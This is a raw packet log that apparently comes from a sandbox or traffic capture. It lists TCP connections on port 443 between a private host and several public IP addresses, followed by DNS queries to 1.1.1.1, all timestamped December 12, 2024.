Dec 12, 2024 16:47:18.949831009 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:18.950057983 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.950504065 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:18.950519085 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:19.247083902 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.247332096 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.247344971 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.248001099 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.248163939 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.248186111 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.248486996 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.248544931 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.249582052 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.249639988 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.249653101 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.249723911 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.250129938 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.250227928 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.297354937 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.297377110 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.297683001 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.297698021 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:19.343981028 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.344042063 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:19.347630024 CET	49851	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:19.347671032 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:19.347723007 CET	49851	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:19.348412991 CET	49851	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:19.348437071 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:19.571544886 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:19.575993061 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:19.576015949 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:19.577081919 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:19.577135086 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:19.578360081 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:19.578538895 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:19.579068899 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.579755068 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.579771996 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.580836058 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.580883980 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.583396912 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.583491087 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.587410927 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.587759018 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.587776899 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.588854074 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.588957071 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.589863062 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.589941978 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.631609917 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:19.631639004 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:19.631638050 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.631642103 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.631654978 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.631664038 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:47:19.683913946 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:19.683954954 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:19.683965921 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:47:20.349061966 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:20.349148989 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:20.349567890 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:20.349575043 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:20.351398945 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:20.351406097 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:20.507858038 CET	49826	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:20.906784058 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:20.907361984 CET	49851	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:20.907387972 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:20.907757044 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:20.908159018 CET	49851	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:20.908227921 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:20.908405066 CET	49851	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:20.951334000 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:21.225081921 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:21.225132942 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:21.225202084 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:21.225496054 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:21.225517035 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:21.250549078 CET	49741	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:47:21.250597000 CET	443	49741	23.206.229.226	192.168.2.8
Dec 12, 2024 16:47:21.250616074 CET	49741	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:47:21.250623941 CET	443	49741	23.206.229.226	192.168.2.8
Dec 12, 2024 16:47:21.250997066 CET	49855	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:47:21.251049995 CET	443	49855	23.206.229.226	192.168.2.8
Dec 12, 2024 16:47:21.251179934 CET	49855	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:47:21.251382113 CET	49855	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:47:21.251424074 CET	443	49855	23.206.229.226	192.168.2.8
Dec 12, 2024 16:47:21.251503944 CET	49855	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:47:21.255673885 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:21.255703926 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:21.255752087 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:21.255764008 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:21.255780935 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:21.255781889 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:21.255805016 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:21.255836010 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:21.256026030 CET	49848	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:21.256035089 CET	443	49848	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:21.281033039 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:21.281076908 CET	443	49856	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:21.281143904 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:21.281351089 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:21.281367064 CET	443	49856	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:21.352756977 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:21.352852106 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:21.352920055 CET	49851	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:21.355228901 CET	49851	443	192.168.2.8	20.110.205.119
Dec 12, 2024 16:47:21.355256081 CET	443	49851	20.110.205.119	192.168.2.8
Dec 12, 2024 16:47:21.547405005 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:21.547441006 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:21.547504902 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:21.548155069 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:21.548167944 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.009021044 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.009066105 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.009201050 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.009694099 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.009705067 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.156162977 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.156212091 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.156388998 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.156673908 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.156688929 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.677038908 CET	443	49856	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:22.677129030 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:22.681653023 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:22.681664944 CET	443	49856	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:22.683612108 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:22.683621883 CET	443	49856	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:22.975155115 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.975419998 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.975440025 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.975843906 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.976244926 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.976325989 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:22.976629972 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.976674080 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:22.976717949 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.309472084 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.309776068 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.309799910 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.310261011 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.310626030 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.310698032 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.310748100 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.310802937 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.310823917 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.547192097 CET	443	49856	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:23.547283888 CET	443	49856	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:23.547467947 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:23.547467947 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:23.548582077 CET	49856	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:47:23.548607111 CET	443	49856	116.203.10.31	192.168.2.8
Dec 12, 2024 16:47:23.739186049 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.739274979 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.741148949 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.741159916 CET	443	49854	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.741190910 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.741748095 CET	49854	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.782953978 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.783559084 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.783576965 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.784674883 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.784825087 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.785418034 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.785418034 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.785435915 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.785465002 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.785506964 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.823415041 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.823528051 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.823879957 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.823966980 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.823966980 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.823981047 CET	443	49857	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.824347019 CET	49857	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.835304022 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.835318089 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.880942106 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.900270939 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.900952101 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.900963068 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.902334929 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.902517080 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.903079033 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.903127909 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.903323889 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.903323889 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:23.903332949 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.903352976 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:23.944122076 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:24.374764919 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:24.376148939 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:24.376188993 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:24.376210928 CET	443	49858	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:24.376329899 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:24.376329899 CET	49858	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:24.483479023 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:24.483617067 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:24.483815908 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:24.484226942 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:24.484241962 CET	443	49859	20.189.173.5	192.168.2.8
Dec 12, 2024 16:47:24.484281063 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:24.484368086 CET	49859	443	192.168.2.8	20.189.173.5
Dec 12, 2024 16:47:25.067728996 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.067792892 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.068001986 CET	49804	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:25.068622112 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.068707943 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.068923950 CET	49803	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:25.134800911 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.134859085 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.134921074 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:25.135590076 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.135694027 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.135759115 CET	49806	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:26.709120989 CET	49805	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:26.709156036 CET	443	49805	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:26.709209919 CET	49806	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:26.709232092 CET	443	49806	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:33.083450079 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:33.083621979 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:33.084198952 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:33.096832037 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:33.096920013 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:33.097147942 CET	49816	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:33.393376112 CET	49817	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:33.393399000 CET	443	49817	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:33.393541098 CET	49816	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:33.393562078 CET	443	49816	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:33.401561975 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:33.401644945 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:33.402034044 CET	49818	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:38.569710016 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:38.569787979 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:38.569864035 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:38.595248938 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:38.595478058 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:38.595536947 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:38.910705090 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:38.910887957 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:38.910943031 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:40.606947899 CET	49818	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.606970072 CET	443	49818	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.607007980 CET	49843	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:40.607034922 CET	443	49843	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:40.607284069 CET	49844	443	192.168.2.8	23.44.203.84
Dec 12, 2024 16:47:40.607302904 CET	443	49844	23.44.203.84	192.168.2.8
Dec 12, 2024 16:47:40.607547998 CET	49847	443	192.168.2.8	23.44.203.83
Dec 12, 2024 16:47:40.607578039 CET	443	49847	23.44.203.83	192.168.2.8
Dec 12, 2024 16:47:40.609081984 CET	49803	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:40.609097004 CET	443	49803	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:40.609349966 CET	49804	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:40.609369040 CET	443	49804	172.64.41.3	192.168.2.8
Dec 12, 2024 16:48:04.104224920 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:04.104269028 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:04.104334116 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:04.104566097 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:04.104581118 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:04.791533947 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:48:04.791543961 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:48:04.791555882 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:48:04.791584015 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:48:05.317823887 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.318461895 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.318484068 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.319500923 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.319595098 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.320820093 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.320889950 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.320997953 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.363347054 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.527337074 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.527415991 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.637347937 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:05.637396097 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:05.637950897 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:05.638556004 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:05.638575077 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:05.769017935 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.769123077 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.769382954 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.769404888 CET	443	49935	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.769417048 CET	49935	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.770081043 CET	49941	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.770131111 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:05.770195007 CET	49941	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.770390987 CET	49941	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:05.770406961 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:06.852175951 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:06.852535009 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:06.852559090 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:06.856012106 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:06.856081963 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:06.856903076 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:06.856966019 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:06.985167027 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:06.985193014 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:06.989023924 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:06.994834900 CET	49941	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:06.994849920 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:06.995346069 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:06.995831966 CET	49941	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:06.995913982 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:06.995997906 CET	49941	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:07.039352894 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:07.094546080 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:07.436172962 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:07.436266899 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:07.436319113 CET	49941	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:07.436606884 CET	49941	443	192.168.2.8	23.223.209.209
Dec 12, 2024 16:48:07.436625957 CET	443	49941	23.223.209.209	192.168.2.8
Dec 12, 2024 16:48:26.180147886 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:26.180341959 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:48:26.180645943 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:48:49.797792912 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:48:49.797818899 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:48:49.797869921 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:48:49.797883034 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:49:03.791210890 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:49:03.791306973 CET	49846	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:49:03.791419983 CET	443	49845	204.79.197.219	192.168.2.8
Dec 12, 2024 16:49:03.791465044 CET	49936	443	192.168.2.8	23.44.203.70
Dec 12, 2024 16:49:03.791485071 CET	443	49936	23.44.203.70	192.168.2.8
Dec 12, 2024 16:49:03.791501999 CET	443	49846	204.79.197.219	192.168.2.8
Dec 12, 2024 16:49:03.791517973 CET	49845	443	192.168.2.8	204.79.197.219
Dec 12, 2024 16:49:03.791610003 CET	49846	443	192.168.2.8	204.79.197.219

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 16:46:27.687344074 CET	62553	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:46:27.824507952 CET	53	62553	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:29.930932045 CET	60630	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:46:30.348687887 CET	53	60630	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:45.283593893 CET	53	60122	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:45.287008047 CET	53	59173	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:45.348670959 CET	59566	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:46:45.349083900 CET	53595	53	192.168.2.8	1.1.1.1
Dec 12, 2024 16:46:45.486005068 CET	53	59566	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:45.486187935 CET	53	53595	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:48.518018961 CET	53	49891	1.1.1.1	192.168.2.8
Dec 12, 2024 16:46:49.137017012 CET	53	64551	1.1.1.1	192.168.2.8
